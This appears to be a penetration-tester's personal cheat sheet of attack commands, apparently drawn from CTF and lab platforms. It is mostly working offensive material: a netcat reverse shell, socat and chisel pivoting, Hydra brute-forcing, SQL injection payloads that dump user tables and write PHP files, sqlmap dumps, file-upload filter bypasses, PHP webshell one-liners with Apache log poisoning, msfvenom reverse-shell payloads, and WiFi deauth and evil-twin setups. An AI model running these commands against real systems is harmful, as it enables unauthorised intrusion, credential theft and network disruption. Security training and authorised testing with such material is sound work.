./nc 127.0.0.1 20000 -e /bin/bash

Port Forwarding

  • Easy On the compromised server
./socat tcp-l:LOCAL_PORT,fork,reuseaddr tcp:TARGET_IP:TARGET_PORT &
  • Quiet

On the attacking machine

socat tcp-l:8001 tcp-l:8000,fork,reuseaddr &

On the compromised relay server

./socat tcp:ATTACKING_IP:8001 tcp:TARGET_IP:TARGET_PORT,fork &

Check localhost:8000 on the attacker machine to see the port available on the intended target.

Chisel

Reverse SOCKS Proxy

On the attacking machine start the server

./chisel server -p 8081 -reverse

./chisel server -p LISTEN_PORT --reverse &

On the target machine start the listening client

.\chisel.exe client 10.10.14.97:8081 R:8888:127.0.0.1:8888

./chisel client ATTACKING_IP:LISTEN_PORT R:socks &

./chisel client 172.16.0.200:4242 R:socks &

Forward SOCKS Proxy

Open port in windows firewall

netsh advfirewall firewall add rule name="Chisel-MuirlandOracle" dir=in action=allow protocol=tcp localport=47000

First, on the compromised host we would use:

./chisel server -p LISTEN_PORT --socks5

On our own attacking box we would then use:

./chisel client TARGET_IP:LISTEN_PORT PROXY_PORT:socks

sshuttle

# 
sshuttle -r user@172.16.0.5 172.16.0.0/24
# using key-based authentication to the server (172.16.0.5)
sshuttle -r user@172.16.0.5 --ssh-cmd "ssh -i private_key" 172.16.0.0/24
# Exclude compromised server from the subnet range using the -x switch
sshuttle -r root@10.200.198.200 --ssh-cmd "ssh -i id_rsa" 10.200.198.0/24 -x 10.200.198.200

Pivoting

Post exploitation on a windows machine. Find what machine the target is talking to

arp -a

On a meterpreter shell

run autoroute -s 10.10.10.0/24

List routes

run autoroute -p

background

use autiliary/scanner/portscan/tcp
set PORTS 80, 8080, 445, 21, 22
set RHOSTS 192.69.228.3-10
exploit

Back on the meterpreter session
portfwd add -l 1234 -p 21 -r 192.58.241.3
portfwd list

nmap -sS -sV -p 1234 localhost
use auxiliary/scanner/portscan/tcp

Ping Sweeps

bash
for i in {1..255}; do (ping -c 1 192.168.1.${i} | grep "bytes from" &); done

netcat
for i in {1..65535}; do (echo > /dev/tcp/192.168.1.1/$i) >/dev/null 2>&1 && echo $i is open; done

Proxychains

  • /etc/proxychains4.conf
socks5 127.0.0.1 1080

Run a command you need to prefix it with “proxychains

Brute-Force

Hydra

hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.45.36 http-post-form "$Link$/login.aspx?ReturnURL=/admin:$COOKIE$:LOGIN FAIL MESSAGE" -vv

sudo hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.43 http-post-form "/department/login.php:username=admin&password=^PASS^:Invalid Password!"
CommandDescription
hydra -P wordlist -v ip protocolBrute force against a protocol of your choice
hydra -v -V -u -L username_list -P password_list -t 1 -u ip protocolYou can use Hydra to bruteforce usernames as well as passwords. It will loop through every combination in your lists. (-vV = verbose mode, showing login attempts)
hydra -t 1 -V -f -l username -P wordlist rdp://Attack a Windows Remote Desktop with a password list.
hydra -l username -P password list $ip -V http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location'Craft a more specific request for Hydra to brute force.
"hydra -t 4 -l dale -P /usr/share/wordlists/rockyou.txt -vV 10.10.10.6 ftp"

Let's break it down:

SECTION             FUNCTION

hydra                   Runs the hydra tool
-t 4                    Number of parallel connections per target
-l [user]               Points to the user who's account you're trying to compromise
-P [path to dictionary] Points to the file containing the list of possible passwords
-vV                     Sets verbose mode to very verbose, shows the login+pass combination for each attempt
[machine IP]            The IP address of the target machine
ftp / protocol          Sets the protocol

Basic HTTP auth

hydra -l USER -P /usr/share/wordlists/rockyou.txt -s PORT -f 10.10.93.125 http-get /PATH

Brute force ssh with medusa

medusa -h IP -U users.txt -P passwords.txt -M ssh IP

Brute force su with sucrack

sucrack -a -w 20 -s 10 -u user pass.txt

Brute force ssh key with John

/usr/share/john/ssh2john.py id_rsa > for_john.txt

john for_john.txt --wordlist=rockyou.txt

Brute force Windows login

msf5 auxiliary(scanner/winrm/winrm_login) > set PASSWORD '$fab@s3Rv1ce$1'
PASSWORD => $fab@s3Rv1ce$1
msf5 auxiliary(scanner/winrm/winrm_login) > set USER_FILE users
USER_FILE => users
msf5 auxiliary(scanner/winrm/winrm_login) > set RHOSTS 10.10.10.193
RHOSTS => 10.10.10.193
msf5 auxiliary(scanner/winrm/winrm_login) > run

Hashcat

Running hashcat with a rule set

hashcat -m 3200 hash.txt dict.txt -r /usr/share/hashcat/rules/best64.rule --debug-mode=1 --debug-file=matched.rule --force

Create an upgraded wordlist using hashcat rules

hashcat -r /usr/share/hashcat/rules/best64.rule --stdout rule > wordlist.txt

Online Cracker

  • https://github.com/someshkar/colabcat

Enumeration

Finding Subdomains with Assetfinder

go get -u github.com/tomnomnom/assetfinder
assetfinder tesla.com &gt;&gt; tesla-subs.txt

Finding Subdomains with Amass

export GO111MODULE=on

go get -v github.com/OWASP/Amass/v3/...

amass enum -d tesla.com

Finding Subdomains with WFuzz

sudo wfuzz -c -f sub-fighter -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u 'http://10.10.10.197/' -H "Host: FUZZ.sneakycorp.htb" --hw 290

Finding Subdomains with Gobuster

gobuster vhost -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://

Finding Subdomains with ffuf

ffuf -w /usr/share/SecLists/Discovery/DNS/namelist.txt -H "Host: FUZZ.acmeitsupport.thm" -u http://10.10.181.76 -fs 2395

-fs ignores results with that size must be run before without this flag

Finding Alive Domains with Httprobe

go get -u github.com/tomnomnom/httprobe

Sort domains and find out which are alive.

Enumerating HTTP/HTTPS

GoBuster

gobuster dir -u http://IP -w wordlist -o gobuster.log -t 50
-x for extension (-x php)
-c for cookie ( -c 'PHPSESSID=3852937265978')

-s 302,307...403 to add status codes -x sh,pl to add file extensions -k to ignore ssl certificate e.g.(with extensions)

gobuster dir -u http://dev.holo.live -w /usr/share/wordlists/dirb/big.txt -x php,html,htm,txt,bak,zip,~

Wordlists

Better one
/opt/SecLists/Discovery/Web-Content/raft-small-words.txt

/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
/usr/share/wordlists/dirb/small

Nikto

nikto -host IP -port PORT

Dirb

dirb http://IP wordlist

WPScan

wpscan -u "url" --disable-tls-checks
wpscan --url http://IP/wp -e ap,t,u --log wpscan.out

--enumerate p,t,u option to enumerate plugins, themes, and users

For brute forcing a user
wpscan --url http://10.10.212.130:80/blog -e p,t,u --usernames admin --passwords /usr/share/wordlists/rockyou.txt --max-threads 50

Multiple users
wpscan -U users.txt -P /usr/share/wordlists/fasttrack.txt --url URL

Fuzzing parameters with FFuf

ffuf -u "http://url/?FUZZ=id;whoami||ls" -w /usr/seclist/discovery/web-content/burp-parameter-names.txt -fs 5829

ffuf -u "http://url/?FUZZ=/etc/passwd" -w /usr/seclist/discovery/web-content/burp-parameter-names.txt -fs 5829

User enumeration with FFuf

ffuf -w /usr/share/wordlists/SecLists/Usernames/Names/names.txt -X POST -d "username=FUZZ&email=x&password=x&cpassword=x" -H "Content-Type: application/x-www-form-urlencoded" -u http://MACHINE_IP/customers/signup -mr "username already exists"

DNS

dig axfr @10.10.10.13 cronos.htb
nslookup
>server 10.10.10.13
>cronos.htb

Scripts that merge these tools

The cyber mentor script

https://pastebin.com/MhE6zXVt

SQL Injection

Line Comments Sample SQL Injection Attacks

  • Username: admin'--
  • Username: admin' OR 1=1; --
  • Username: admin' sleep(10);

' or 1=1; -- -

Enumerating columns in a table

Start by incrementing the ORDER BY value untill you get an error

searchitem=test' ORDER BY 3-- -

After getting the column information it is time to use union

searchitem=test' UNION SELECT 1,2,3-- -

If this produces “1,2,3” on the page and we can hijack one of these and replace it with a nested SQL statement like:

searchitem=test' UNION SELECT 1,(select group_concat(SCHEMA_NAME) from INFORMATION_SCHEMA.SCHEMATA),3-- -

searchitem=test' UNION SELECT 1,(select group_concat(TABLE_NAME) from INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = 'db'),3-- -

searchitem=test' UNION SELECT 1,(select group_concat(COLUMN_NAME) from INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'users'),3-- -

searchitem=test' UNION SELECT 1,(select username from db.users),3-- -


group_concat(username,':',password SEPARATOR '<br>') FROM staff_users

/admin?user=0 union select 1,group_concat(message_content,'\n'),3,4 from marketplace.messages-- -

/admin?user=0 union select 1,group_concat(id,':',username,':',password,':',isAdministrator,'\n'),3,4 from marketplace.users-- -

Blind SQLi Boolean based

admin123' UNION SELECT 1;--
admin123' UNION SELECT 1,2,3;--
admin123' UNION SELECT 1,2,3 where database() like '%';--
admin123' UNION SELECT 1,2,3 where database() like 's%';--
admin123' UNION SELECT 1,2,3 FROM information_schema.tables WHERE table_schema = 'sqli_three' and table_name like 'a%';--

cycle trough characters

admin123' UNION SELECT 1,2,3 FROM information_schema.tables WHERE table_schema = 'sqli_three' and table_name='users';--

columns

admin123' UNION SELECT 1,2,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='sqli_three' and TABLE_NAME='users' and COLUMN_NAME like 'a%';

Again you'll need to cycle through letters, numbers and characters until you find a match. As you're looking for multiple results, you'll have to add this to your payload each time you find a new column name, so you don't keep discovering the same one. For example, once you've found the column named id, you'll append that to your original payload (as seen below).

admin123' UNION SELECT 1,2,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='sqli_three' and TABLE_NAME='users' and COLUMN_NAME like 'a%' and COLUMN_NAME !='id';

Repeating this process three times will enable you to discover the columns id, username and password. Which now you can use to query the users table for login credentials. First, you'll need to discover a valid username which you can use the payload below:

admin123' UNION SELECT 1,2,3 from users where username like 'a%
admin123' UNION SELECT 1,2,3 from users where username='admin' and password like 'a%

Blind SQLi Time based

admin123' UNION SELECT SLEEP(5);--
If there was no pause in the response time, we know that the query was unsuccessful, so like on previous tasks, we add another column:
admin123' UNION SELECT SLEEP(5),2;--



referrer=admin123' UNION SELECT SLEEP(5),2 where database() like 'u%';--

referrer=admin123' UNION SELECT SLEEP(5),2 FROM information_schema.tables WHERE table_schema = 'sqli_four' and table_name like 'a%';--

...

https://website.thm/analytics?referrer=admin123' UNION SELECT SLEEP(5),2  from users where username='admin' and password like '4961%

The same but with commands

http://10.10.9.16/item.php?id=5 order by 1,2,3,4,5,6

http://10.10.9.16/item.php?id=5 union all select 1,2,3,4,5

Return the DB name

http://10.10.9.16/item.php?id=5 union all select 1,database(),3,4,5

Return table names

http://10.10.9.16/item.php?id=5 union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema = database()

Return columns

http://10.10.9.16/item.php?id=5 union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_schema = database() and table_name = "users"

http://10.10.9.16/item.php?id=5 union select 1,password,3,4,5 from users

LFI

/room.php?cod=999 UNION SELECT "1","2",(SELECT '<?php phpinfo(); ?>'),"4","5","6" INTO OUTFILE '/var/www/html/test.php'

Placeholders are present just to complete the UNION statement

SQL Map

From Burp/ZAP capture

Capture the request and create a req.txt file

sqlmap -r req.txt --current-user

sqlmap -r request.txt --dbms=mysql --dump

sqlmap -r request -p title

-r uses the intercepted request you saved earlier
-p selects the parameter we want to test
--dbms tells SQLMap what type of database management system it is
--dump attempts to outputs the entire database
 sqlmap -r search_form.txt --tables
 sqlmap -r search_form.txt --columns -D Staff
 sqlmap -r search_form.txt --columns -D users
 sqlmap -r search_form.txt --dump -D users -T UserDetails

GET Request Injection

sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

If vulnerable, list tables
sqlmap -u "http://example.com/?id=*" -p id --tables
sqlmap -u "http://example.com/?id=1" -D awd -T accounts --dump
sqlmap -u "http://demo.ine.local/sqli_1.php?title=hello&action=search" --cookie "PHPSESSID=m42ba6etbktfktvjadijnsaqg4; security_level=0" -p title

List databases
sqlmap -u "http://demo.ine.local/sqli_1.php?title=hello&action=search" --cookie "PHPSESSID=m42ba6etbktfktvjadijnsaqg4; security_level=0" -p title --dbs

List tables
sqlmap -u "http://demo.ine.local/sqli_1.php?title=hello&action=search" --cookie "PHPSESSID=m42ba6etbktfktvjadijnsaqg4; security_level=0" -p title --dbs -D bWAPP --tables

List columns
sqlmap -u "http://demo.ine.local/sqli_1.php?title=hello&action=search" --cookie "PHPSESSID=m42ba6etbktfktvjadijnsaqg4; security_level=0" -p title --dbs -D bWAPP --tables -T users --columns

Dump table contents
sqlmap -u "http://demo.ine.local/sqli_1.php?title=hello&action=search" --cookie "PHPSESSID=m42ba6etbktfktvjadijnsaqg4; security_level=0" -p title --dbs -D bWAPP --tables -T users -C admin,password,email --dump

POST Request Injection

sqlmap -u "http://example.com" --data "username=*&password=*"

sqlmap -u "http://10.10.35.99/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

To dump specific database tables
sqlmap -u "http://10.10.35.99/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --random-agent --dbs -p list[fullordering] -D joomla --tables

To dump table contents
sqlmap -u "http://10.10.35.99/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --random-agent --dbs -p list[fullordering] -D joomla -T "#__users" --dump

File Upload

Notes

  • Null bytes, e.g. .php%00.jpg, where .jpg gets truncated and .php becomes the new extension

  • Try to upload a file with a double extension (ex: file.png.php or file.png.php5).

  • PHP extensions: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtml, .pgif, .shtml, .htaccess, .phar, .inc ASP extensions: .asp, .aspx, .config

  • Try to uppercase some letter(s) of the extension. Like: .pHp, .pHP5, .PhAr ...

  • Try to upload some reverse double extension (useful to exploit Apache misconfigurations where anything with extension .php, but not necessarily ending in .php will execute code): ex: file.php.png

  • Bypass Content-Type checks by setting the value of the Content-Type header to: image/png , text/plain , application/octet-stream

  • Bypass magic number check by adding at the beginning of the file the bytes of a real image (confuse the file command). (".PNG....", "GIF89a" ,)

Fuzzing

Wfuzz

wfuzz -u http://URL/page.pgp?code=FUZZ -w /usr/share/seclists/Fuzzing/special-chars.txt

--hc 404 (ignore 404 results)
--hl=2 (ignore length 2 results)

Post data

wfuzz -c -w /wordlist.txt -d "username=FUZZ&password=password" --hs "No acount found with that username" http://IP

FFuf

ffuf -w valid_usernames.txt:W1,/usr/share/wordlists/SecLists/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W2 -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u http://MACHINE_IP/customers/login -fc 200

LFI

Check paths.txt for common acessible config files

while IFS="" read -r p || [ -n "$p" ]
do
  printf '%s\n' "$p"
  curl 'http://dev.team.thm/script.php?page='"$p"
done < paths.txt

PHP Wrappers

PHP Expect Wrapper

php?page=expect://ls

PHP Wrapper php://file

example1.php?page=php://input&cmd=ls

Then send post request with the following in the body

<?php echo shell_exec($_GET['cmd']);?>

PHP php://filter

vuln.php?page=php://filter/convert.base64-encode/resource=/etc/passwd

?page=php://filter/resource=/etc/passwd

Apache Log Poisoning through LFI

Check to see if you can access the access.log file

192.168.1.129/lfi/lfi.php?file=/var/log/apache2/access.log

Change the user-agent to this:

<?php system($_GET['cmd']); ?>

Apache will execute the command and output the response into the access.log

192.168.1.129/lfi/lfi.php?file=/var/log/apache2/access.log&cmd=whoami

Null Byte

http://ex.com/index.php?page=../../../etc/passwd%00

phpinfo LFI

Find the script on the PayloadALlTheThings/File Inclusion-Path Traversal git repository (phpinfolfi.py)

Modify the payload from the script with the payload from php-reverse-shell.php

locate php-reverse
/usr/share/laudanum/php/php-reverse-shell.php

Edit the IP address and the port

Check the LFIREQ variable.

Run script and listen for connection

dotdotpwn automation tool

dotdotpwn -m http -h IP -o windows

XSS

https://github.com/pgaijin66/XSS-Payloads/blob/master/payload.txt

https://www.scip.ch/en/?labs.20171214

OSINT

Browser Extension for OSINT search

Passback Attack

  • Most Printer or other devices have weak login password but also quite often a LDAP/AD connection. Login to printer - changing LDAP Server to your Listener and catch username and password.
  • With creditials you can go further in the network.
  • Netcat or Responder could work as target server

Further Information

  • https://www.mindpointgroup.com/blog/how-to-hack-through-a-pass-back-attack
  • http://foofus.net/goons/percx/praeda/pass-back-attack.pdf
  • https://medium.com/r3d-buck3t/pwning-printers-with-ldap-pass-back-attack-a0d8fa495210

Steganography

Steghide

steghide extract -sf img.jpg -p <passphrase>

Binwalk

binwalk img.png # Discover hidden files

binwalk -Me img.png # extract files

MSF-Venom

msfvenom -p cmd/unix/reverse_netcat lhost=[local tun0 ip] lport=4444 R

-p = payload
lhost = our local host IP address
lport = the port to listen on
R = export the payload in raw format

Reverse TCP Payload

msfvenom -p windows/meterpreter/reverse_tcp lhost=IP lport=PORT -f exe > ./reverse_tcp.exe

On the attacker machine (msfconsole)

msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost IP
msf exploit(handler) > set lport PORT
msf exploit(handler) > exploit

ASP.NET shell

msfvenom -p windows/x64/shell_reverse_tcp lhost=10.11.9.134 lport=53 -f aspx -o notashell.aspx

Elf shell

Good for multi/handler

msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=10.11.9.134 LPORT=9002 -f elf -o rev
erse.elf

PHP and meterpreter shell

msfvenom -p php/meterpreter_reverse_tcp lhost=10.13.37.4 lport=53 -o meterpreter.php

use exploit/multi/handler
set lhost 10.13.37.4
set payload php/meterpreter_reverse_tcp
set lport 53
run

Wireless Penetration Testing

Check for conflicting processes

airmon-ng check kill

Place card into monitor mode

airmon-ng start wlan1

Find available devices

airodump-ng wlan1mon

Start capturing information (channel 6)

airmon-ng -c 6 --bssid MAC -w capture wlan0mon

airodump-ng wlan1mon -w CAPTUREFILENAME -c 1

airodump-ng wlan1mon --bssid MAC --channel 1

Deauth attack

aireplay-ng -0 1 -a MAC_AP -c MAC_CLIENT

aireplay-ng --deauth 0 -c CLIENT -a MAC_AP wlan1mon

Crack password

aircrack-ng anynamehere-01.cap

aircrack-ng capture--1.cap -w rockyou.txt

Or just use wifite

Evil Twin Attack

airmon-ng start wlan1
airodump-ng wlan1mon

Create a New AP with Same SSID & MAC Address
airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 11 wlan0

Deauthentication
aireplay-ng --deauth 0 -a 00:09:5B:6F:1E


Turn up the power
iwconfig wlan1 txpower 27

Give the fake AP internet access

brctl addbr evil

brctl addif evil x0
This has internet access

brctl addif evil at0
This is create by airbase-ng (wired face of the wireless access point)

ifconfig x0 0.0.0.0 up
ifconfig at0 0.0.0.0 up
ifconfig evil up
dhclient3 evil &